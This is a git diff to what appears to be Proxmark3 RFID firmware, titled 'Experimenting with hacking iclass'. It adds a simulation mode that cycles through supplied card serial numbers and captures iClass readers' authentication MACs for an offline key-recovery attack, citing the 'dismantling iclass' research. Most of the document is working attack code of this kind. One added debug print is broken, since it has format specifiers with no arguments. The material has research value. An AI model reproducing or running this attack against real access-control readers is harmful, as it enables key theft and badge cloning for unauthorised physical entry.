Experimenting with hacking iclass

diff --git a/armsrc/appmain.c b/armsrc/appmain.c
index b6c3220084dc2c3aaf8d898fd496206c2108b69c..30e5ac53c4745fbaa24587a3bdd672932571ed2e 100644 (file)
--- a/armsrc/appmain.c
+++ b/armsrc/appmain.c
@@ -853,7 +853,7 @@ void UsbPacketReceived(uint8_t *packet, int len)
                        SnoopIClass();
                        break;
                case CMD_SIMULATE_TAG_ICLASS:
-                       SimulateIClass(c->arg[0], c->d.asBytes);
+                       SimulateIClass(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
                        break;
                case CMD_READER_ICLASS:
                        ReaderIClass(c->arg[0]);

diff --git a/armsrc/apps.h b/armsrc/apps.h
index e21b5ce5ee7e20133af44dbade9868035d049c52..1e97f2945225fca77be16e389bd5342d3eb4d313 100644 (file)
--- a/armsrc/apps.h
+++ b/armsrc/apps.h
@@ -188,9 +188,9 @@ void SetDebugIso15693(uint32_t flag);
 
 /// iclass.h
 void RAMFUNC SnoopIClass(void);
-void SimulateIClass(uint8_t arg0, uint8_t *datain);
+void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
 void ReaderIClass(uint8_t arg0);
-
+void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
 // hitag2.h
 void SnoopHitag(uint32_t type);
 void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);

diff --git a/armsrc/iclass.c b/armsrc/iclass.c
index e876132e74fa68d103de8d76dace64194a5d7d65..bfa4a730c71e3f726ccbb1da277959d2ab12e1a0 100644 (file)
--- a/armsrc/iclass.c
+++ b/armsrc/iclass.c
@@ -986,32 +986,71 @@ static void CodeIClassTagSOF()
        ToSendMax++;
 }
 
-//-----------------------------------------------------------------------------
-// Simulate iClass Card
-// Only CSN (Card Serial Number)
-// 
-//-----------------------------------------------------------------------------
-void SimulateIClass(uint8_t arg0, uint8_t *datain)
+/**
+ * @brief SimulateIClass simulates an iClass card.
+ * @param arg0 type of simulation
+ *                     - 0 uses the first 8 bytes in usb data as CSN
+ *                     - 2 "dismantling iclass"-attack. This mode iterates through all CSN's specified
+ *                     in the usb data. This mode collects MAC from the reader, in order to do an offline
+ *                     attack on the keys. For more info, see "dismantling iclass" and proxclone.com.
+ *                     - Other : Uses the default CSN (031fec8af7ff12e0)
+ * @param arg1 - number of CSN's contained in datain (applicable for mode 2 only)
+ * @param arg2
+ * @param datain
+ */
+void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 {
-       uint8_t simType = arg0;
+       uint32_t simType = arg0;
+       uint32_t numberOfCSNS = arg1;
 
-  // Enable and clear the trace
-       tracing = TRUE;
-       traceLen = 0;
-  memset(trace, 0x44, TRACE_SIZE);
+       // Enable and clear the trace
+       iso14a_set_tracing(TRUE);
+       iso14a_clear_trace();
 
+       uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
+
+       if(simType == 0) {
+               // Use the CSN from commandline
+               memcpy(csn_crc, datain, 8);
+               doIClassSimulation(csn_crc,0);
+       }else if(simType == 1)
+       {
+               doIClassSimulation(csn_crc,0);
+       }
+       else if(simType == 2)
+       {
+               // In this mode, a number of csns are within datain. We'll simulate each one, one at a time
+               // in order to collect MAC's from the reader. This can later be used in an offlne-attack
+               // in order to obtain the keys, as in the "dismantling iclass"-paper.
+               for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
+               {
+                       // The usb data is 512 bytes, fitting 65 8-byte CSNs in there.
+
+                       memcpy(csn_crc, datain+(i*8), 8);
+                       doIClassSimulation(csn_crc,1);
+               }
+       }else{
+               // We may want a mode here where we hardcode the csns to use (from proxclone).
+               // That will speed things up a little, but not required just yet.
+               Dbprintf("The mode is not implemented, reserved for future use");
+       }
+
+}
+/**
+ * @brief Does the actual simulation
+ * @param csn - csn to use
+ * @param breakAfterMacReceived if true, returns after reader MAC has been received.
+ */
+void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
+{
        // CSN followed by two CRC bytes
        uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
-       uint8_t response3[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
+       uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0};
+       memcpy(response3,csn,sizeof(response3));
 
        // e-Purse
        uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
 
-       if(simType == 0) {
-               // Use the CSN from commandline
-               memcpy(response3, datain, 8);
-       }
-
        // Construct anticollision-CSN
        rotateCSN(response3,response2);
 
@@ -1019,6 +1058,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
        ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]);
        ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]);
 
+       int exitLoop = 0;
        // Reader 0a
        // Tag    0f
        // Reader 0c
@@ -1052,7 +1092,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
        int resp4Len;
 
        // + 1720..
-  uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
+       uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
        memset(receivedCmd, 0x44, RECV_CMD_SIZE);
        int len;
 
@@ -1083,7 +1123,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
        int cmdsRecvd = 0;
 
        LED_A_ON();
-       for(;;) {
+       while(!exitLoop) {
                LED_B_OFF();
                if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) {
                        DbpString("button press");
@@ -1119,24 +1159,21 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
                        LED_B_ON();
                } else if(receivedCmd[0] == 0x05) {
                        // Reader random and reader MAC!!!
-                       // Lets store this ;-)
-/*
-                       Dbprintf("                CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
-                       response3[0], response3[1], response3[2],
-                       response3[3], response3[4], response3[5],
-                       response3[6], response3[7]);
-*/                     
-                       Dbprintf("READER AUTH (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
-                       len,
-                       receivedCmd[0], receivedCmd[1], receivedCmd[2],
-                       receivedCmd[3], receivedCmd[4], receivedCmd[5],
-                       receivedCmd[6], receivedCmd[7], receivedCmd[8]);
-
                        // Do not respond
                        // We do not know what to answer, so lets keep quit
                        resp = resp1; respLen = 0; //order = 5;
                        respdata = NULL;
                        respsize = 0;
+                       if (breakAfterMacReceived){
+                               // TODO, actually return this to the caller instead of just
+                               // dbprintf:ing ...
+                               Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x");
+                               Dbprintf("RDR:  (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
+                                                receivedCmd[0], receivedCmd[1], receivedCmd[2],
+                                               receivedCmd[3], receivedCmd[4], receivedCmd[5],
+                                               receivedCmd[6], receivedCmd[7], receivedCmd[8]);
+                               exitLoop = true;
+                       }
                } else if(receivedCmd[0] == 0x00 && len == 1) {
                        // Reader ends the session
                        resp = resp1; respLen = 0; //order = 0;
@@ -1177,7 +1214,6 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain)
                                break;
                        }
                }
-
                memset(receivedCmd, 0x44, RECV_CMD_SIZE);
        }
 
@@ -1422,7 +1458,7 @@ void ReaderIClass(uint8_t arg0) {
        uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
 
        // Reset trace buffer
-       memset(trace, 0x44, RECV_CMD_OFFSET);
+       memset(trace, 0x44, RECV_CMD_OFFSET);
        traceLen = 0;
 
        // Setup SSC